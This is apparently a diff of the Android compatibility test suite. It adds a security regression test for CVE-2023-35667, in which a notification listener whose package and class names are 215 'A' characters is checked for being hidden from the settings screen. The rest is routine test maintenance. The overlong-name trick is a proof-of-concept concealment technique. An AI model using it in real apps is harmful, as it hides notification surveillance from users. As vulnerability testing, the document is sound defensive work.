+package android.security.cts.CVE_2023_35667.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
+import android.service.notification.NotificationListenerService;
+public
+class AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        extends NotificationListenerService {}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/test-app/src/android/security/cts/CVE_2023_35667_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/test-app/src/android/security/cts/CVE_2023_35667_test/DeviceTest.java
new file mode 100644
index 0000000..afb68f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE_2023_35667/test-app/src/android/security/cts/CVE_2023_35667_test/DeviceTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35667;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testPocCVE_2023_35667() {
+        try {
+            Instrumentation instrumentation = getInstrumentation();
+            Context context = instrumentation.getContext();
+
+            // Checking if the listener service has started.
+            String enabledListeners =
+                    Settings.Secure.getString(
+                            context.getContentResolver(),
+                            Settings.Secure.ENABLED_NOTIFICATION_LISTENERS);
+            String classAndPkgName =
+                    String.format("%0" + (215 /* serviceClassNameLength */) + "d", 0)
+                            .replace("0", "A");
+            ComponentName componentName =
+                    new ComponentName(
+                            context,
+                            Class.forName(
+                                    context.getPackageName()
+                                            + "."
+                                            + classAndPkgName
+                                            + "."
+                                            + classAndPkgName));
+            assume().withMessage("Notification Listener Service not enabled")
+                    .that(enabledListeners.contains(componentName.getPackageName()))
+                    .isTrue();
+
+            // Fetching settingsPackageName & activityName dynamically
+            Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
+            ComponentName notificationSettingsComponent =
+                    intent.resolveActivity(context.getPackageManager());
+            assume().withMessage("NotificationSettingComponent not found")
+                    .that(notificationSettingsComponent)
+                    .isNotNull();
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
+            // Launching the 'Device and Notification' activity
+            context.startActivity(intent);
+
+            // Checking if the listener services are visible in 'Device and Notification'.
+            UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+            String packageName = context.getPackageName();
+            assume().withMessage("Notification_Listener_Setting is not visible")
+                .that(waitForVisibleObject(uiDevice, packageName + ".aaaaaa", 5000L))
+                .isNotNull();
+            assume().withMessage("Notification_Listener_Setting is not visible")
+                .that(waitForVisibleObject(uiDevice, packageName + ".aaaaab", 5000L))
+                .isNotNull();
+
+            // Checking for application under 'Device and Notification'.
+            // Failing test, when the application is not visible in 'Device and
+            // Notification'.
+            assertWithMessage("Vulnerable to b/282932362!!")
+                    .that(waitForVisibleObject(uiDevice, packageName, 5000L))
+                    .isNotNull();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    // To check if the ListenerServices are visible.
+    private UiObject2 waitForVisibleObject(UiDevice uiDevice, String text, long timeout) {
+        UiObject2 uiObject = uiDevice.wait(Until.findObject(By.text(text)), timeout);
+        return uiObject;
+    }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java b/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
index 05616cc..7d56429 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/ActionUserSelectImagesForAppTest.java
@@ -84,7 +84,9 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        sDeviceStatePreserver.restoreCloudProviderState();
+        if (sDeviceStatePreserver != null) {
+            sDeviceStatePreserver.restoreCloudProviderState();
+        }
     }
 
     @After
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
index f2e3c68..6cf5863 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/CloudPhotoPickerTest.java
@@ -98,7 +98,9 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        sDeviceStatePreserver.restoreCloudProviderState();
+        if (sDeviceStatePreserver != null) {
+            sDeviceStatePreserver.restoreCloudProviderState();
+        }
     }
     @Before
     public void setUp() throws Exception {
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
index fd47fc1..8005ed1 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerSettingsTest.java
@@ -112,7 +112,7 @@
                 sPhotoPickerSettingsActivityState);
 
         // Reset CloudMedia configs.
-        if (SdkLevel.isAtLeastS()) {
+        if (SdkLevel.isAtLeastS() && sDeviceStatePreserver != null) {
             sDeviceStatePreserver.restoreCloudProviderState();
         }
     }
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
index 67661d9..be7cad0 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/RemoteVideoPreviewTest.java
@@ -107,7 +107,9 @@
 
     @AfterClass
     public static void tearDownClass() throws Exception {
-        sDeviceStatePreserver.restoreCloudProviderState();
+        if (sDeviceStatePreserver != null) {
+            sDeviceStatePreserver.restoreCloudProviderState();
+        }
     }
 
     @Before
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/ResultsAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/ResultsAssertionsUtils.java
index 9c14650..03e6cc9 100644
--- a/tests/PhotoPicker/src/android/photopicker/cts/util/ResultsAssertionsUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/ResultsAssertionsUtils.java
@@ -32,6 +32,7 @@
 import android.net.Uri;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
 
 import androidx.annotation.NonNull;
 import androidx.test.InstrumentationRegistry;
@@ -59,10 +60,10 @@
         assertThat(userId).isEqualTo(expectedUserId);
 
         final String auth = uri.getPathSegments().get(0);
-        if (action.equalsIgnoreCase(Intent.ACTION_GET_CONTENT)) {
-            assertThat(auth).isEqualTo("picker_get_content");
-        } else {
+        if (action.equalsIgnoreCase(MediaStore.ACTION_PICK_IMAGES)) {
             assertThat(auth).isEqualTo("picker");
+        } else {
+            assertThat(auth).contains("picker");
         }
     }
 
diff --git a/tests/app/BroadcastsTest/src/android/app/cts/broadcasts/BroadcastFreezerTest.java b/tests/app/BroadcastsTest/src/android/app/cts/broadcasts/BroadcastFreezerTest.java
index aba2b86..a1ef30f 100644
--- a/tests/app/BroadcastsTest/src/android/app/cts/broadcasts/BroadcastFreezerTest.java
+++ b/tests/app/BroadcastsTest/src/android/app/cts/broadcasts/BroadcastFreezerTest.java
@@ -116,7 +116,10 @@
                 isProcessFrozen(testPid));
         SystemClock.sleep(APP_FREEZING_DELAY_MS + ERROR_MARGIN_MS
                 - (SystemClock.uptimeMillis() - startTimeMs));
-        assertTrue("Unfrozen for longer than expected", isProcessFrozen(testPid));
+        // Depending on the MCP limits, the process should have got killed or should be frozen at
+        // this point.
+        assertThrows("Process is still alive and unfrozen for longer than expected",
+                RemoteException.class, () -> cmdReceiver.getPid());
     }
 
     /**
diff --git a/tests/app/src/android/app/cts/ManageFsiTest.java b/tests/app/src/android/app/cts/ManageFsiTest.java
index 852855a..c06a577 100644
--- a/tests/app/src/android/app/cts/ManageFsiTest.java
+++ b/tests/app/src/android/app/cts/ManageFsiTest.java
@@ -45,6 +45,8 @@
         final PackageManager pm = context.getPackageManager();
         assumeFalse("TV does not support fullscreen intents",
                 pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+        assumeFalse("Watch does not support fullscreen intents",
+                pm.hasSystemFeature(PackageManager.FEATURE_WATCH));
 
         final Intent intent = new Intent(Settings.ACTION_MANAGE_APP_USE_FULL_SCREEN_INTENT);
         intent.setData(Uri.parse("package:" + STUB_PACKAGE_NAME));
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
index e10c9c2..259f04a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
@@ -1449,7 +1449,8 @@
     public void touchOutsideDialog() throws Exception {
         Log.v(TAG, "touchOutsideDialog()");
         final UiObject2 picker = findFillDialogPicker();
-        assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue();
+        final Rect bounds = picker.getVisibleBounds();
+        assertThat(injectClick(new Point(bounds.left, bounds.top / 2))).isTrue();
     }
 
     /**
@@ -1459,7 +1460,8 @@
         Log.v(TAG, "touchOutsideSaveDialog()");
         final UiObject2 picker = waitForObject(SAVE_UI_SELECTOR, SAVE_TIMEOUT);
         Log.v(TAG, "got picker: " + picker);
-        assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue();
+        final Rect bounds = picker.getVisibleBounds();
+        assertThat(injectClick(new Point(bounds.left, bounds.top / 2))).isTrue();
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index a0cde43..50e550b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -3575,11 +3575,9 @@
             }
 
             // H-1-12
-            boolean previewStab = staticInfo.isPreviewStabilizationSupported();
             if (isPrimaryRear) {
+                boolean previewStab = staticInfo.isPreviewStabilizationSupported();
                 previewStabilizationReq.setRearPreviewStabilizationSupported(previewStab);
-            } else {
-                previewStabilizationReq.setFrontPreviewStabilizationSupported(previewStab);
             }
 
             // H-1-13
@@ -3624,7 +3622,6 @@
             timestampSourceReq.setFrontCameraTimestampSource(
                     CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN);
             ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(false);
-            previewStabilizationReq.setFrontPreviewStabilizationSupported(false);
             streamUseCaseReq.setFrontStreamUseCaseSupported(false);
         }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index a5314a3..48af6fd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -16,6 +16,7 @@
 
 package android.hardware.camera2.cts;
 
+import static android.hardware.camera2.cts.CameraTestUtils.CAMERA_IDLE_TIMEOUT_MS;
 import static android.hardware.camera2.cts.CameraTestUtils.CAPTURE_RESULT_TIMEOUT_MS;
 import static android.hardware.camera2.cts.CameraTestUtils.SESSION_READY_TIMEOUT_MS;
 import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
@@ -1815,6 +1816,10 @@
                 outputSurfaces.add(mReader.getSurface());
                 CaptureRequest.Builder requestBuilder = prepareCaptureRequestForSurfaces(
                         outputSurfaces, CameraDevice.TEMPLATE_STILL_CAPTURE);
+                // Need to consume the SESSION_READY state because stopCapture() waits
+                // on an additional SESSION_READY state.
+                mCameraSessionListener.getStateWaiter().
+                    waitForState(BlockingSessionCallback.SESSION_READY, CAMERA_IDLE_TIMEOUT_MS);
 
                 requestBuilder.set(
                         CaptureRequest.CONTROL_MODE, CaptureRequest.CONTROL_MODE_OFF);
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/InstallUnknownSourcesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/InstallUnknownSourcesTest.java
index 6657f54..4030152 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/InstallUnknownSourcesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/InstallUnknownSourcesTest.java
@@ -25,6 +25,7 @@
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureDoesNotHaveUserRestriction;
 import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
 import com.android.bedstead.harrier.annotations.enterprise.PolicyAppliesTest;
@@ -57,6 +58,7 @@
     }
 
     @PolicyAppliesTest(policy = DisallowInstallUnknownSources.class)
+    @EnsureDoesNotHaveUserRestriction(DISALLOW_INSTALL_UNKNOWN_SOURCES)
     @Postsubmit(reason = "new test")
     @ApiTest(apis = "android.os.UserManager#DISALLOW_INSTALL_UNKNOWN_SOURCES")
     public void addUserRestriction_disallowInstallUnknownSources_isSet() {
@@ -74,6 +76,7 @@
     }
 
     @PolicyDoesNotApplyTest(policy = DisallowInstallUnknownSources.class)
+    @EnsureDoesNotHaveUserRestriction(DISALLOW_INSTALL_UNKNOWN_SOURCES)
     @Postsubmit(reason = "new test")
     @ApiTest(apis = "android.os.UserManager#DISALLOW_INSTALL_UNKNOWN_SOURCES")
     public void addUserRestriction_disallowInstallUnknownSources_isNotSet() {
@@ -92,6 +95,7 @@
     }
 
     @PolicyAppliesTest(policy = DisallowInstallUnknownSourcesGlobally.class)
+    @EnsureDoesNotHaveUserRestriction(DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY)
     @Postsubmit(reason = "new test")
     @ApiTest(apis = "android.os.UserManager#DISALLOW_INSTALL_UNKNOWN_SOURCES_GLOBALLY")
     public void addUserRestriction_disallowInstallUnknownSourcesGlobally_isSet() {
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/MaximumTimeOffTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/MaximumTimeOffTest.java
index c9480df..8bf8801 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/MaximumTimeOffTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/MaximumTimeOffTest.java
@@ -19,6 +19,7 @@
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
+import static com.android.bedstead.nene.notifications.NotificationListenerQuerySubject.assertThat;
 import static com.android.queryable.queries.ActivityQuery.activity;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -26,6 +27,7 @@
 import static org.testng.Assert.assertThrows;
 
 import android.content.Intent;
+import android.util.Log;
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
@@ -37,6 +39,7 @@
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.notifications.NotificationListener;
 import com.android.bedstead.nene.notifications.NotificationListenerQuerySubject;
+import com.android.bedstead.nene.packages.ComponentReference;
 import com.android.bedstead.nene.utils.Poll;
 import com.android.bedstead.testapp.TestApp;
 import com.android.bedstead.testapp.TestAppActivityReference;
@@ -64,6 +67,7 @@
             ).get();
 
     @PolicyAppliesTest(policy = MaximumTimeOff.class)
+    @NotificationsTest
     public void setManagedProfileMaximumTimeOff_timesOut_personalAppsAreSuspended()
             throws Exception {
         long originalMaximumTimeOff =
@@ -75,25 +79,19 @@
             sDeviceState.dpc().devicePolicyManager().setManagedProfileMaximumTimeOff(
                     sDeviceState.dpc().componentName(), /* timeoutMs= */ 1);
 
-            sDeviceState.workProfile().setQuietMode(true);
+            try (NotificationListener notifications = TestApis.notifications().createListener()) {
+                sDeviceState.workProfile().setQuietMode(true);
 
-            // TODO(264248238): We should create a more direct way of figuring out the launch
-            //  was refused
-            Poll.forValue("Successfully launched", () -> {
-                // Ensure that we only see events from the current iteration
-                EventLogs.resetLogs();
-                startActivityWithoutBlocking(activity);
+                // Wait for us to be notified that personal apps are disabled
+                assertThat(notifications.query()
+                        .wherePackageName().isEqualTo("android")
+                        .whereNotification().channelId().isEqualTo("DEVICE_ADMIN_ALERTS"))
+                        .wasPosted();
+            }
 
-                try {
-                    activity.events().activityStarted().waitForEvent(Duration.ofSeconds(2));
-                    return true;
-                } catch (AssertionError e) {
-                    // No event
-                    return false;
-                }
-            }).toBeEqualTo(false)
-                    .errorOnFail()
-                    .await();
+            startActivityWithoutBlocking(activity);
+
+            assertBlockedByAdminDialogAppears();
         } finally {
             sDeviceState.workProfile().setQuietMode(false);
             sDeviceState.dpc().devicePolicyManager().setManagedProfileMaximumTimeOff(
@@ -122,7 +120,7 @@
 
             sDeviceState.workProfile().setQuietMode(true);
 
-            NotificationListenerQuerySubject.assertThat(
+            assertThat(
                     notifications.query()
                             .wherePackageName().isEqualTo("android")
                             .whereNotification().channelId().isEqualTo("DEVICE_ADMIN_ALERTS")
@@ -161,4 +159,17 @@
     }
 
     // TODO(264249662): Add missing coverage
+
+    private static final String BLOCKED_BY_ADMIN_DIALOG_CLASSNAME =
+            "com.android.settings.enterprise.ActionDisabledByAdminDialog";
+
+    private void assertBlockedByAdminDialogAppears() {
+        // TODO: We should move this into the enterprise/bedstead infra
+        Poll.forValue(
+                "foreground activity", () -> TestApis.activities().foregroundActivity())
+                .toMeet(
+                        (v) -> v.className()
+                                .equals(BLOCKED_BY_ADMIN_DIALOG_CLASSNAME))
+                .errorOnFail().await();
+    }
 }
diff --git a/tests/framework/base/locale/src/android/localemanager/cts/LocaleManagerTests.java b/tests/framework/base/locale/src/android/localemanager/cts/LocaleManagerTests.java
index 0c63b2a..bfbfe86 100644
--- a/tests/framework/base/locale/src/android/localemanager/cts/LocaleManagerTests.java
+++ b/tests/framework/base/locale/src/android/localemanager/cts/LocaleManagerTests.java
@@ -55,6 +55,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.os.LocaleList;
 import android.server.wm.ActivityManagerTestBase;
 
@@ -680,8 +681,13 @@
     }
 
     private void setTestImeAsActive() throws Exception {
-        ShellUtils.runShellCommand("ime enable " + mTestIme);
-        ShellUtils.runShellCommand("ime set " + mTestIme);
+        if (sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            ShellUtils.runShellCommand("ime enable " + mTestIme + " --user 10");
+            ShellUtils.runShellCommand("ime set " + mTestIme + " --user 10");
+        } else {
+            ShellUtils.runShellCommand("ime enable " + mTestIme);
+            ShellUtils.runShellCommand("ime set " + mTestIme);
+        }
         mNeedsImeReset = true;
 
         assertTrue(mImeChangedBroadcastReceiver.await());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
index 42f634e..acdff14 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
@@ -27,14 +27,14 @@
 import static android.server.wm.ActivityTransitionTests.EdgeExtensionActivity.TOP;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
-import static android.view.RoundedCorner.POSITION_BOTTOM_LEFT;
 import static android.view.RoundedCorner.POSITION_BOTTOM_RIGHT;
 import static android.view.RoundedCorner.POSITION_TOP_LEFT;
-import static android.view.RoundedCorner.POSITION_TOP_RIGHT;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
 
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.app.ActivityOptions;
@@ -73,7 +73,6 @@
 import org.junit.Test;
 import org.junit.rules.TestRule;
 
-import java.io.IOException;
 import java.util.ArrayList;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -279,6 +278,11 @@
      */
     @Test
     public void testAnimationBackgroundColorIsUsedDuringActivityTransition() {
+        // TODO (b/319637823): Find proper fix for background overriding in ActivityTransitionTests
+        // This test expects the default task display area to show a red color during the
+        // transition. But since in auto split screen UI, the launcher activity is always
+        // shown, no screenshot of the test would return the red background color.
+        assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
         final int backgroundColor = Color.RED;
         final ActivityOptions activityOptions = ActivityOptions.makeCustomAnimation(mContext,
                 R.anim.alpha_0_with_red_backdrop, R.anim.alpha_0_with_red_backdrop);
@@ -296,6 +300,11 @@
      */
     @Test
     public void testCustomTransitionCanOverrideBackgroundColor() {
+        // TODO (b/319637823): Find proper fix for background overriding in ActivityTransitionTests
+        // This test expects the default task display area to show a green color during the
+        // transition. But since in auto split screen UI, the launcher activity is always
+        // shown, no screenshot of the test would return the green background color.
+        assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
         final int backgroundColor = Color.GREEN;
         final ActivityOptions activityOptions = ActivityOptions.makeCustomAnimation(mContext,
                 R.anim.alpha_0_with_backdrop, R.anim.alpha_0_with_backdrop, backgroundColor
@@ -314,6 +323,11 @@
      */
     @Test
     public void testPendingTransitionCanOverrideBackgroundColor() {
+        // TODO (b/319637823): Find proper fix for background overriding in ActivityTransitionTests
+        // This test expects the default task display area to show a green color during the
+        // transition. But since in auto split screen UI, the launcher activity is always
+        // shown, no screenshot of the test would return the green background color.
+        assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
         final int backgroundColor = Color.GREEN;
 
         final Bundle extras = new Bundle();
@@ -330,6 +344,11 @@
 
     @Test
     public void testSetTransitionCanOverrideBackgroundColor() {
+        // TODO (b/319637823): Find proper fix for background overriding in ActivityTransitionTests
+        // This test expects the default task display area to show a green color during the
+        // transition. But since in auto split screen UI, the launcher activity is always
+        // shown, no screenshot of the test would return the green background color.
+        assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
         final int backgroundColor = Color.GREEN;
 
         final Bundle extras = new Bundle();
@@ -368,8 +387,9 @@
         extras.putInt(DIRECTION_KEY, LEFT);
         addTestMethodToExtras(TEST_METHOD_OVERRIDE_PENDING_TRANSITION, 0, extras);
         final TestBounds testBounds = getTestBounds();
-        final Rect appBounds = testBounds.appBounds;
-        final int xIndex = appBounds.left + (appBounds.right - appBounds.left) * 3 / 4;
+        final Rect transitionBounds = testBounds.transitionBounds;
+        final int xIndex = transitionBounds.left
+                + (transitionBounds.right - transitionBounds.left) * 3 / 4;
         getTestBuilder().setClass(EdgeExtensionActivity.class).setExtras(extras)
                 .setTestFunction(createAssertColorChangeXIndex(xIndex, testBounds))
                 .run();
@@ -394,8 +414,8 @@
         extras.putInt(DIRECTION_KEY, TOP);
         addTestMethodToExtras(TEST_METHOD_OVERRIDE_PENDING_TRANSITION, 0, extras);
         final TestBounds testBounds = getTestBounds();
-        final Rect appBounds = testBounds.appBounds;
-        final int xIndex = (appBounds.left + appBounds.right) / 2;
+        final Rect transitionBounds = testBounds.transitionBounds;
+        final int xIndex = (transitionBounds.left + transitionBounds.right) / 2;
         getTestBuilder().setClass(EdgeExtensionActivity.class).setExtras(extras)
                 .setTestFunction(createAssertColorChangeXIndex(xIndex, testBounds))
                 .run();
@@ -419,8 +439,9 @@
         extras.putInt(DIRECTION_KEY, RIGHT);
         addTestMethodToExtras(TEST_METHOD_OVERRIDE_PENDING_TRANSITION, 0, extras);
         final TestBounds testBounds = getTestBounds();
-        final Rect appBounds = testBounds.appBounds;
-        final int xIndex = appBounds.left + (appBounds.right - appBounds.left) / 4;
+        final Rect transitionBounds = testBounds.transitionBounds;
+        final int xIndex = transitionBounds.left
+                + (transitionBounds.right - transitionBounds.left) / 4;
         getTestBuilder().setClass(EdgeExtensionActivity.class).setExtras(extras)
                 .setTestFunction(createAssertColorChangeXIndex(xIndex, testBounds))
                 .run();
@@ -437,8 +458,9 @@
         addTestMethodToExtras(TEST_METHOD_OVERRIDE_ACTIVITY_TRANSITION,
                 TRANSITION_TYPE_OPEN | TRANSITION_TYPE_CLOSE, extras);
         final TestBounds testBounds = getTestBounds();
-        final Rect appBounds = testBounds.appBounds;
-        final int xIndex = appBounds.left + (appBounds.right - appBounds.left) / 4;
+        final Rect transitionBounds = testBounds.transitionBounds;
+        final int xIndex = transitionBounds.left
+                + (transitionBounds.right - transitionBounds.left) / 4;
         getTestBuilder().setClass(EdgeExtensionActivity.class).setExtras(extras)
                 .setTestFunction(createAssertColorChangeXIndex(xIndex, testBounds))
                 .run();
@@ -459,8 +481,6 @@
         addTestMethodToExtras(TEST_METHOD_OVERRIDE_ACTIVITY_TRANSITION,
                 TRANSITION_TYPE_OPEN | TRANSITION_TYPE_CLOSE, extras);
         final TestBounds testBounds = getTestBounds();
-        final Rect appBounds = testBounds.appBounds;
-        final int xIndex = appBounds.left + (appBounds.right - appBounds.left) / 4;
         final LauncherActivity launcherActivity = startLauncherActivity();
         launcherActivity.startActivity(null, EdgeExtensionActivity.class, extras);
 
@@ -493,8 +513,8 @@
         extras.putInt(DIRECTION_KEY, BOTTOM);
         addTestMethodToExtras(TEST_METHOD_OVERRIDE_PENDING_TRANSITION, 0, extras);
         final TestBounds testBounds = getTestBounds();
-        final Rect appBounds = testBounds.appBounds;
-        final int xIndex = (appBounds.left + appBounds.right) / 2;
+        final Rect transitionBounds = testBounds.transitionBounds;
+        final int xIndex = (transitionBounds.left + transitionBounds.right) / 2;
         getTestBuilder().setClass(EdgeExtensionActivity.class).setExtras(extras)
                 .setTestFunction(createAssertColorChangeXIndex(xIndex, testBounds))
                 .run();
@@ -539,16 +559,14 @@
 
     private static class TestBounds {
         public Rect rect;
-        public Rect appBounds;
-        public ArrayList<Rect> excluded;
+        public Rect transitionBounds;
     }
 
     private TestBounds getTestBounds() {
         final LauncherActivity activity = startLauncherActivity();
         final TestBounds bounds = new TestBounds();
-        bounds.rect = activity.getActivityFullyVisibleRegion();
-        bounds.appBounds = getTopAppBounds();
-        bounds.excluded = activity.getRoundedCornersRegions();
+        bounds.rect = activity.getActivityTestableRegion();
+        bounds.transitionBounds = getTransitionAppBounds();
         launchHomeActivityNoWait();
         removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
@@ -635,10 +653,6 @@
         for (int x = testBounds.rect.left; x < testBounds.rect.right; x++) {
             for (int y = testBounds.rect.top;
                     y < testBounds.rect.bottom; y++) {
-                if (rectsContain(testBounds.excluded, x, y)) {
-                    continue;
-                }
-
                 final Color rawColor = screen.getColor(x, y);
                 final Color sRgbColor;
                 if (!rawColor.getColorSpace().equals(ColorSpace.get(ColorSpace.Named.SRGB))) {
@@ -679,11 +693,11 @@
         return false;
     }
 
-    private Rect getTopAppBounds() {
+    private Rect getTransitionAppBounds() {
         getWmState().computeState();
         final WindowManagerState.Activity activity = getWmState().getActivity(
                 ComponentName.unflattenFromString(getWmState().getFocusedActivity()));
-        return activity.getAppBounds();
+        return activity.getBounds();
     }
 
     private static class AssertionResult {
@@ -733,10 +747,6 @@
         for (int x = testBounds.rect.left; x < testBounds.rect.right; x++) {
             for (int y = testBounds.rect.top;
                     y < testBounds.rect.bottom; y++) {
-                if (rectsContain(testBounds.excluded, x, y)) {
-                    continue;
-                }
-
                 // Edge pixels can have any color depending on the blending strategy of the device.
                 if (Math.abs(x - xIndex) <= 1) {
                     continue;
@@ -786,6 +796,8 @@
         protected void onCreate(@Nullable Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
 
+            getWindow().getAttributes().layoutInDisplayCutoutMode =
+                    LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
             // Ensure the activity is edge-to-edge
